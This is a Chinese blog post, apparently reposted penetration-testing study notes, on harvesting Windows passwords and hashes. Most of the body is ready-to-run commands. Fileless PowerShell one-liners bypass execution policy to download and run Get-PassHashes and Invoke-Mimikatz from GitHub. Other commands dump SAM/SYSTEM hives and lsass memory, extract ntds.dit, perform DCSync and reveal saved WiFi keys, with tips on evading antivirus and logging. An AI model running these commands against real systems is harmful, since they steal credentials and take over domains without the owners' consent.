0

0

内网学习笔记 | 密码抓取

星夢妙者

星夢妙者

发布时间:2025-09-03 08:27:23

|

950人浏览过

|

来源于php中文网

原创

0、前言

Windows 系统一般使用两种方法对用户的密码进行加密处理,在域环境中,用户的密码信息以哈希值的密文形式存储在 ntds.dit 二进制文件中,该文件位于 %SystemRoot%\ntds\ntds.dit 路径下,由于该文件一直被活动目录访问,因此这个文件是被系统禁止读取的。

在非域环境中,即工作组的环境中,用户的密码等信息被存储在 SAM 文件中,该文件也同样是被系统禁止读取的。

Windows 系统中的密码一般由两部分组成,分别是 LM Hash 和 NTLM Hash,结构通常如下:

代码语言:javascript代码运行次数:0运行复制
username:RID:LM-Hash:NT-Hash

LM Hash(LAN Manager Hash)是 Windows 最早使用的加密算法,由 IBM 设计,其本质是 DES 加密,由于使用的 DES 算法,因此它的 KEY 是固定的,同时结合一些其他特性导致 LM Hash 加密算法较为脆弱,因此微软在 1993 年在 NT 3.1 中引入了 NTLM 协议。

NTLM Hash 是基于 MD4 的加密算法,个人版从 Vista 以后,服务版从 Windows Server 2003 以后,系统的认证方式都采用了 NTLM Hash,为了兼容性,微软也只是把 LM Hash 禁用了,只启用了 NTLM Hash.

在 Windows Vista 和 Windows Server 2003 及之前的系统默认使用的是 LM 加密,只有用户密码超过 14 位时才会使用 NTLM 加密,之后从 Vista 的系统开始,不再使用 LM Hash 加密,而是全部采用了 NTLM Hash 加密。

内网学习笔记 | 密码抓取

如果用户密码为空密码或者不存储 LM Hash 的话,我们抓到的 LM Hash 就是 AAD3B435B51404EEAAD3B435B51404EE,所以在 Vista 和 Windows Server 2003 之后的系统里抓取到的 LM Hash 都是 AAD3B435B51404EEAAD3B435B51404EE,其实这里的 LM Hash 也没有任何意义了。

也就是说从Windows Vista 和 Windows Server 2008 开始,默认情况下只存储 NTLM Hash,LM Hash 将不再被使用。

下面看下常见的抓取密码的工具。

1、GetPass

GetPass 下载地址:https://bbs.pediy.com/thread-163383.htm

以管理员权限直接运行 GetPassword.exe 直接查看到明文密码

内网学习笔记 | 密码抓取
2、PwDump7

PwDump7 下载地址:https://www.tarasco.org/security/pwdump_7/

PwDump7 只能获取到用户的 hash,不能看到明文密码,不过可以使用这个 hash 值去 cmd5 等平台查找明文或者直接用哈希传递。

PwDump7 同样使用管理员权限直接运行即可。

内网学习笔记 | 密码抓取
3、QuarkPwDump

QuarkPwDump 下载地址:https://raw.githubusercontent.com/tuthimi/quarkspwdump/master/Release/QuarksPwDump.exe

运行以下命令导出用户 Hash

代码语言:javascript代码运行次数:0运行复制
QuarkPwDump.exe --dump-hash-local
内网学习笔记 | 密码抓取
4、Get-PassHashes

Get-PassHashes 是一个 PS 脚本,Get-PassHashes 下载地址:https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

导入 ps1 脚本,以管理员权限执行 Get-PassHashes 即可。

代码语言:javascript代码运行次数:0运行复制
Import-Module .\Get-PassHashes.ps1Get-PassHashes

或者绕过无法执行 PS 脚本的限制,直接无文件执行(推荐),同样需要管理员权限。

代码语言:javascript代码运行次数:0运行复制
# 不使用代理powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"
内网学习笔记 | 密码抓取
5、mimikatz

说到密码抓取,又怎能少得了 mimikatz 呢。

mimikatz 是法国技术大神 Benjamin Delpy 使用 C 语言写的一款轻量级系统调试工具,该工具可以从内存中提取明文密码、散列值、PIN 和 K8S 票据,还可以执行哈希传递、票据传递、构建黄金票据等。

mimikatz 项目 releases 地址:https://github.com/gentilkiwi/mimikatz/releases

使用 mimikatz 读取本地 SAM 文件,获取 NTLM Hash

代码语言:javascript代码运行次数:0运行复制
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
内网学习笔记 | 密码抓取

或者使用 mimikatz 直接查看明文密码

Bika.ai
Bika.ai

打造您的AI智能体员工团队

下载
代码语言:javascript代码运行次数:0运行复制
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
内网学习笔记 | 密码抓取

另外也可以采用 PowerShell 远程加载 mimikatz,相较于直接拷贝 mimikatz.exe 到目标主机,这种方式隐藏性要更好些。

代码语言:javascript代码运行次数:0运行复制
# 不使用代理powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"# 使用代理,如果目标无法访问 github 可以使用下面的命令利用代理访问powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
内网学习笔记 | 密码抓取
6、SAM、SYSTEM、SECURITY 文件导出文件

直接注册表导出 SAM、SYSTEM、SECURITY 文件

代码语言:javascript代码运行次数:0运行复制
reg save HKLM\SAM sam.hivreg save HKLM\SYSTEM system.hivreg save HKLM\SECURITY security.hiv

或者使用 ninjacopy 脚本,下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

代码语言:javascript代码运行次数:0运行复制
Import-Module -name .\Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "c:\sam.hiv"Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "c:\system.hiv"Invoke-NinjaCopy -Path "C:\Windows\System32\config\SECURITY" -LocalDestination "c:\security.hiv"

如果条件允许也可以使用 U 盘启动盘直接拷贝以下文件

代码语言:javascript代码运行次数:0运行复制
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITY
代码语言:javascript代码运行次数:0运行复制
除此之外,使用一些漏洞也可以获取到 SAM、SYSTEM、SECURITY 文件,比如 CVE-2021-36934,具体可参考 https://teamssix.com/210725-074847.html
获取 HASH

用 mimikatz 获取

代码语言:javascript代码运行次数:0运行复制
mimikatz.exelsadump::sam /sam:sam.hiv /system:system.hiv
内网学习笔记 | 密码抓取

用 cain 获取,找到 Cracker 里的 LM & NTLM Hash,点击加号,选择从 SAM 导入,选择 SAM 文件后,查看 SYSTEM 文件的 HEX,复制到 Boot Key 里,点击下一步即可查看。

内网学习笔记 | 密码抓取

cain 还可以直接查看明文密码,在 Decoders 里找到 LSA Secrets,导入 system.hiv 和 security.hiv 就可以看到明文的密码了。

内网学习笔记 | 密码抓取

用 SAMInside 读取,直接在 File 菜单中选择导入 SAM 和 SYSTEM 文件即可

内网学习笔记 | 密码抓取
7、lsass.dmp 文件导出文件

任务管理器导出 lsass.dmp 文件,在任务管理器中找到 lsass.exe 右击选择创建转储文件即可。

或者使用 Procdump 导出 lsass.dmp 文件,Procdump 是微软官方发布的工具,因此基本不会被杀软拦截,下载地址:https://download.sysinternals.com/files/Procdump.zip

代码语言:javascript代码运行次数:0运行复制
procdump -accepteula -ma lsass.exe lsass.DMP
获取 HASH

使用 mimikatz 可获取 lsass.dmp 文件里的 hash 以及明文密码值

代码语言:javascript代码运行次数:0运行复制
mimikatz.exesekurlsa::minidump lsass.DMPsekurlsa::logonPasswords full
内网学习笔记 | 密码抓取
8、ntds.dit 文件

在域中的所有账号密码被存放在了 ntds.dit 文件中,如果获取到该文件就相当于拿到整个域权限,不过该文件只在域控中。

ntds.dit 文件位置:

代码语言:javascript代码运行次数:0运行复制
C:\Windows\NTDS\NTDS.dit
导出 ntds.dit

Ntdsutil 导出 ntds.dit 和 system 文件,并放在 C 盘目录下

代码语言:javascript代码运行次数:0运行复制
Ntdsutil "activate instance ntds" Ifm "create full C:\ntdsutil" Quit quit
内网学习笔记 | 密码抓取

vssadmin 导出 ntds.dit

代码语言:javascript代码运行次数:0运行复制
vssadmin create shadow /for=C:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ntds.dit# SAM 等文件也可以使用 vssadmin 导出copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\sam.hivcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hivcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\security.hiv

NinjaCopy 脚本也可以,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

代码语言:javascript代码运行次数:0运行复制
Import-Module -name .\Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
获取 HASH

NTDSDumpEx 查看 ntds.dit,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

代码语言:javascript代码运行次数:0运行复制
NTDSDumpEx -d ntds.dit -s system.hiv -o domain.txt
内网学习笔记 | 密码抓取

或者使用 impacket 里的 secretsdump.py 脚本查看 ntds.dit 内容,下载地址:https://github.com/SecureAuthCorp/impacket

代码语言:javascript代码运行次数:0运行复制
python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
内网学习笔记 | 密码抓取

除了拷贝 ntds.dit 到本地外,mimikatz 也可以直接查看本机的域用户所有的账号密码,不过相对于拷贝 ntds.dit 到自己的机器上来说,直接使用 mimikatz 隐蔽性肯定就会差些了。

代码语言:javascript代码运行次数:0运行复制
mimikatz.exe# 直接获取 teamssix 域内所有用户 hashlsadump::dcsync /domain:teamssix.com /all /csv# 获取单个用户的详细信息lsadump::dcsync /domain:teamssix.com /user:administrator
9、WIFI 密码

使用自带命令可直接查询

代码语言:javascript代码运行次数:0运行复制
# 获取登录过的 WIFI 名称netsh wlan show profiles# 获取某个连接过的 WIFI 密码netsh wlan show profile name="teamssix" key=clear# 获取所有连接过的 WIFI 密码for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear
内网学习笔记 | 密码抓取

往期推荐

内网学习笔记 | 26、ntds.dit 的提取与散列值导出

内网学习笔记 | 25、Exchange 邮件服务器

内网学习笔记 | 24、SPN 的应用

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
Java 并发编程高级实践
Java 并发编程高级实践

本专题深入讲解 Java 在高并发开发中的核心技术,涵盖线程模型、Thread 与 Runnable、Lock 与 synchronized、原子类、并发容器、线程池(Executor 框架)、阻塞队列、并发工具类(CountDownLatch、Semaphore)、以及高并发系统设计中的关键策略。通过实战案例帮助学习者全面掌握构建高性能并发应用的工程能力。

87

2025.12.01

Java 并发编程高级实践
Java 并发编程高级实践

本专题深入讲解 Java 在高并发开发中的核心技术,涵盖线程模型、Thread 与 Runnable、Lock 与 synchronized、原子类、并发容器、线程池(Executor 框架)、阻塞队列、并发工具类(CountDownLatch、Semaphore)、以及高并发系统设计中的关键策略。通过实战案例帮助学习者全面掌握构建高性能并发应用的工程能力。

87

2025.12.01

github中文官网入口 github中文版官网网页进入
github中文官网入口 github中文版官网网页进入

github中文官网入口https://docs.github.com/zh/get-started,GitHub 是一种基于云的平台,可在其中存储、共享并与他人一起编写代码。 通过将代码存储在GitHub 上的“存储库”中,你可以: “展示或共享”你的工作。 持续“跟踪和管理”对代码的更改。

875

2026.01.21

windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

762

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1129

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

801

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

454

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2354

2023.08.08

俄罗斯Yandex引擎入口
俄罗斯Yandex引擎入口

2026年俄罗斯Yandex搜索引擎最新入口汇总,涵盖免登录、多语言支持、无广告视频播放及本地化服务等核心功能。阅读专题下面的文章了解更多详细内容。

158

2026.01.28

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
CSS3 教程
CSS3 教程

共18课时 | 5万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 11.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号